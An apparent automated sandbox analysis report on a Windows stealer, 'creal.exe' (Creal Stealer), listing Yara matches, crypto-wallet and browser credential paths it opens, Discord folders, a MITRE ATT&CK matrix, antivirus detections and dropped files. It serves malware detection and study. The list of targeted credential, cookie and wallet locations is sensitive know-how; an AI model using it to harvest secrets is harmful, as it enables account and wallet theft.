Source: Yara match	File source: 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1703944510.000002085E851000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1534840732.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1704228303.000002085F214000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1704032686.000002085F380000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1703552422.000002085F1E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1516736251.00000185BBDD3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1748098900.000002085F860000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1703762541.000002085F1E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1707931768.000002085E22C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1706137097.000002085E212000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1514920740.00000185BBDBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1707127966.000002085E212000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1747339313.000002085F21D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1715680731.000002085E24E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1542555830.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1551628084.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1703156457.000002085F085000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: creal.exe PID: 7612, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /Electrum/walletsz
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Binance.exez5/com.liberty.jaxx/IndexedDB/file__0.indexeddb.leveldbz
Source: creal.exe, 00000002.00000003.1553243827.00000185BC88E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: creal.exe, 00000002.00000003.1553243827.00000185BC88E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: creal.exe, 00000002.00000003.1520628565.00000185BC87D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\Local Storage\leveldb5
Source: creal.exe, 00000002.00000003.1553243827.00000185BC88E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome SxS\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Bookmarks
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome SxS\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome SxS\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn

Tries to steal communication platform credentials (via file / registry access)

Source: C:\Users\user\Desktop\creal.exe	File opened: C:\Users\user\AppData\Local\Discord	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	File opened: C:\Users\user\AppData\Local\DiscordCanary	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	File opened: C:\Users\user\AppData\Local\DiscordPTB	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	File opened: C:\Users\user\AppData\Local\DiscordDevelopment	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File opened: C:\Users\user\AppData\Local\Discord
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File opened: C:\Users\user\AppData\Local\DiscordCanary
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File opened: C:\Users\user\AppData\Local\DiscordPTB
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File opened: C:\Users\user\AppData\Local\DiscordDevelopment

Yara detected Generic Python Stealer

Source: Yara match	File source: 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: creal.exe PID: 7612, type: MEMORYSTR

Source: Yara match

File source: Process Memory Space: creal.exe PID: 7612, type: MEMORYSTR

Remote Access Functionality

Yara detected Creal Stealer

Source: Yara match	File source: 0000001C.00000003.1716089607.000002085E24E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1717159393.000002085E25C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1715402115.000002085F215000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1713151539.000002085E24C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1711307435.000002085F388000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1530242051.00000185BC87D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1506165356.00000185BBD8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1570834386.00000185BC87D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1551554678.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1535265611.00000185BBDD4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1748038824.000002085F38A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1506829823.00000185BBD8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1514358388.00000185BBDA3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1546407514.00000185BBDF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1552635462.00000185BC84E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1723970775.000002085E860000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1570617892.00000185BC84E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1526078196.00000185BC87D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1531149169.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1546301683.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1703156457.000002085F1E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1520628565.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1520628565.00000185BC87D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1712107588.000002085E22D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1737494959.000002085E25D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1703944510.000002085E851000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1534840732.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1704228303.000002085F214000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1704032686.000002085F380000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1703552422.000002085F1E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1516736251.00000185BBDD3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1748098900.000002085F860000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1703762541.000002085F1E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1707931768.000002085E22C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1706137097.000002085E212000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1514920740.00000185BBDBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1707127966.000002085E212000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1747339313.000002085F21D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1715680731.000002085E24E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1542555830.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1551628084.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1703156457.000002085F085000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: creal.exe PID: 7612, type: MEMORYSTR

Yara detected Generic Python Stealer

Source: Yara match	File source: 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: creal.exe PID: 7612, type: MEMORYSTR

Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7004EC0 PyEval_SaveThread,sqlite3_bind_parameter_count,PyEval_RestoreThread,PyTuple_Type,sqlite3_bind_parameter_name,PyLong_Type,PyFloat_Type,PyUnicode_Type,PyLong_AsLongLongAndOverflow,sqlite3_bind_int64,_Py_Dealloc,PyUnicode_AsUTF8AndSize,sqlite3_bind_text,PyTuple_Pack,PyDict_GetItemWithError,_Py_Dealloc,PyErr_Occurred,_PyObject_LookupAttr,_PyObject_LookupAttr,PyLong_Type,PyFloat_Type,PyUnicode_Type,PyType_IsSubtype,PyObject_CheckBuffer,PyObject_GetBuffer,sqlite3_bind_blob,PyBuffer_Release,sqlite3_bind_null,PyFloat_AsDouble,sqlite3_bind_double,PyEval_SaveThread,sqlite3_bind_parameter_name,PyEval_RestoreThread,PyUnicode_FromString,PyDict_Type,PyDict_GetItemWithError,_Py_Dealloc,PyErr_GetRaisedException,sqlite3_db_handle,_PyErr_ChainExceptions1,PyExc_DeprecationWarning,PyErr_WarnFormat,PyList_GetItem,PyObject_CallOneArg,PyErr_Occurred,PyExc_OverflowError,PyErr_SetString,PyErr_Occurred,PyErr_Format,PyObject_CallOneArg,_Py_Dealloc,PyExc_TypeError,PyErr_ExceptionMatches,PyErr_Clear,PySequence_Check,PyTuple_Type,PyErr_GetRaisedException,sqlite3_db_handle,_PyErr_ChainExceptions1,PySequence_Size,PyErr_Format,PyObject_GetItem,PyErr_Occurred,PyErr_Format,PyErr_Format,PyErr_SetString,PySequence_GetItem,_Py_Dealloc,_Py_Dealloc,_Py_Dealloc,PyExc_LookupError,PyErr_ExceptionMatches,_Py_Dealloc,PyObject_CallOneArg,_Py_Dealloc,_Py_Dealloc,PyExc_TypeError,PyErr_ExceptionMatches,PyErr_Clear,_Py_Dealloc,PyExc_OverflowError,PyErr_SetString,PyBuffer_Release,PyExc_OverflowError,PyErr_SetString,PyErr_Occurred,	2_2_00007FF8E7004EC0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E70050DD PyLong_AsLongLongAndOverflow,sqlite3_bind_int64,PyTuple_Pack,PyDict_GetItemWithError,_Py_Dealloc,PyErr_Occurred,_PyObject_LookupAttr,_PyObject_LookupAttr,PyLong_Type,PyFloat_Type,PyUnicode_Type,	2_2_00007FF8E70050DD
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7006B74 PyFloat_Type,PyUnicode_AsUTF8AndSize,sqlite3_bind_text,PyObject_CheckBuffer,PyErr_Format,sqlite3_bind_null,PyObject_GetBuffer,PyExc_OverflowError,PyErr_SetString,PyBuffer_Release,sqlite3_bind_blob,PyBuffer_Release,PyExc_OverflowError,PyErr_SetString,PyFloat_AsDouble,PyErr_Occurred,sqlite3_bind_double,PyErr_Occurred,sqlite3_bind_int64,	2_2_00007FF8E7006B74
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F83A6B74 PyFloat_Type,PyUnicode_AsUTF8AndSize,sqlite3_bind_text,PyObject_CheckBuffer,PyErr_Format,sqlite3_bind_null,PyObject_GetBuffer,PyExc_OverflowError,PyErr_SetString,PyBuffer_Release,sqlite3_bind_blob,PyBuffer_Release,PyExc_OverflowError,PyErr_SetString,PyFloat_AsDouble,PyErr_Occurred,sqlite3_bind_double,PyErr_Occurred,sqlite3_bind_int64,	28_2_00007FF8F83A6B74
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F83A4EC0 PyEval_SaveThread,sqlite3_bind_parameter_count,PyEval_RestoreThread,PyTuple_Type,sqlite3_bind_parameter_name,PyLong_Type,PyFloat_Type,PyUnicode_Type,PyLong_AsLongLongAndOverflow,sqlite3_bind_int64,_Py_Dealloc,PyUnicode_AsUTF8AndSize,sqlite3_bind_text,PyTuple_Pack,PyDict_GetItemWithError,_Py_Dealloc,PyErr_Occurred,_PyObject_LookupAttr,_PyObject_LookupAttr,PyLong_Type,PyFloat_Type,PyUnicode_Type,PyType_IsSubtype,PyObject_CheckBuffer,PyObject_GetBuffer,sqlite3_bind_blob,PyBuffer_Release,sqlite3_bind_null,PyFloat_AsDouble,sqlite3_bind_double,PyEval_SaveThread,sqlite3_bind_parameter_name,PyEval_RestoreThread,PyUnicode_FromString,PyDict_Type,PyDict_GetItemWithError,_Py_Dealloc,PyErr_GetRaisedException,sqlite3_db_handle,_PyErr_ChainExceptions1,PyExc_DeprecationWarning,PyErr_WarnFormat,PyList_GetItem,PyObject_CallOneArg,PyErr_Occurred,PyExc_OverflowError,PyErr_SetString,PyErr_Occurred,PyErr_Format,PyObject_CallOneArg,_Py_Dealloc,PyExc_TypeError,PyErr_ExceptionMatches,PyErr_Clear,PySequence_Check,PyTuple_Type,PyErr_GetRaisedException,sqlite3_db_handle,_PyErr_ChainExceptions1,PySequence_Size,PyErr_Format,PyObject_GetItem,PyErr_Occurred,PyErr_Format,PyErr_Format,PyErr_SetString,PySequence_GetItem,_Py_Dealloc,_Py_Dealloc,_Py_Dealloc,PyExc_LookupError,PyErr_ExceptionMatches,_Py_Dealloc,PyObject_CallOneArg,_Py_Dealloc,_Py_Dealloc,PyExc_TypeError,PyErr_ExceptionMatches,PyErr_Clear,_Py_Dealloc,PyExc_OverflowError,PyErr_SetString,PyBuffer_Release,PyExc_OverflowError,PyErr_SetString,PyErr_Occurred,	28_2_00007FF8F83A4EC0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F83A50DD PyLong_AsLongLongAndOverflow,sqlite3_bind_int64,PyTuple_Pack,PyDict_GetItemWithError,_Py_Dealloc,PyErr_Occurred,_PyObject_LookupAttr,_PyObject_LookupAttr,PyLong_Type,PyFloat_Type,PyUnicode_Type,	28_2_00007FF8F83A50DD

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	12 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	12 Registry Run Keys / Startup Folder	1 Virtualization/Sandbox Evasion	LSASS Memory	31 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	2 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	25 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
creal.exe	79%	Virustotal		Browse
creal.exe	75%	ReversingLabs	Win64.Trojan.CrealStealer
creal.exe	100%	Avira	TR/Spy.Agent.zopbs

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_ARC4.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_Salsa20.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_chacha20.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_pkcs1_decode.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_aes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_aesni.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_arc2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_blowfish.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_cast.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_cbc.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_cfb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_ctr.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_des.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_des3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_ecb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_eksblowfish.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_ocb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_ofb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_BLAKE2b.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_BLAKE2s.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_MD2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_MD4.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_MD5.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_RIPEMD160.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_SHA1.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_SHA224.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_SHA256.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_SHA384.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_SHA512.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_ghash_clmul.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_ghash_portable.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_keccak.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash\_poly1305.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Math\_modexp.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Protocol\_scrypt.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\PublicKey\_ec_ws.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\PublicKey\_ed25519.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\PublicKey\_ed448.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\PublicKey\_x25519.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Util\_cpuid_c.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Util\_strxor.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\VCRUNTIME140_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\_cffi_backend.cp312-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\_uuid.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\_wmi.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\bcrypt\_bcrypt.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42922\charset_normalizer\md.cp312-win_amd64.pyd	0%	ReversingLabs

Source	Detection	Scanner	Label
https://coinbase.com)	0%	Avira URL Cloud	safe
https://youtube.com)	0%	Avira URL Cloud	safe
https://discord.com)	0%	Avira URL Cloud	safe
https://discord.com)z	0%	Avira URL Cloud	safe
https://tiktok.com)	0%	Avira URL Cloud	safe
https://ebay.com)z$	0%	Avira URL Cloud	safe
https://twitch.com)z	0%	Avira URL Cloud	safe
https://xbox.com)	0%	Avira URL Cloud	safe
https://paypal.com)	0%	Avira URL Cloud	safe
https://discord.gift/	100%	Avira URL Cloud	malware
https://crunchyroll.com)	0%	Avira URL Cloud	safe
https://gmail.com)z	0%	Avira URL Cloud	safe
https://binance.com)z	0%	Avira URL Cloud	safe
https://coinbase.com)z	0%	Avira URL Cloud	safe
https://playstation.com)	0%	Avira URL Cloud	safe
https://sellix.io)	0%	Avira URL Cloud	safe
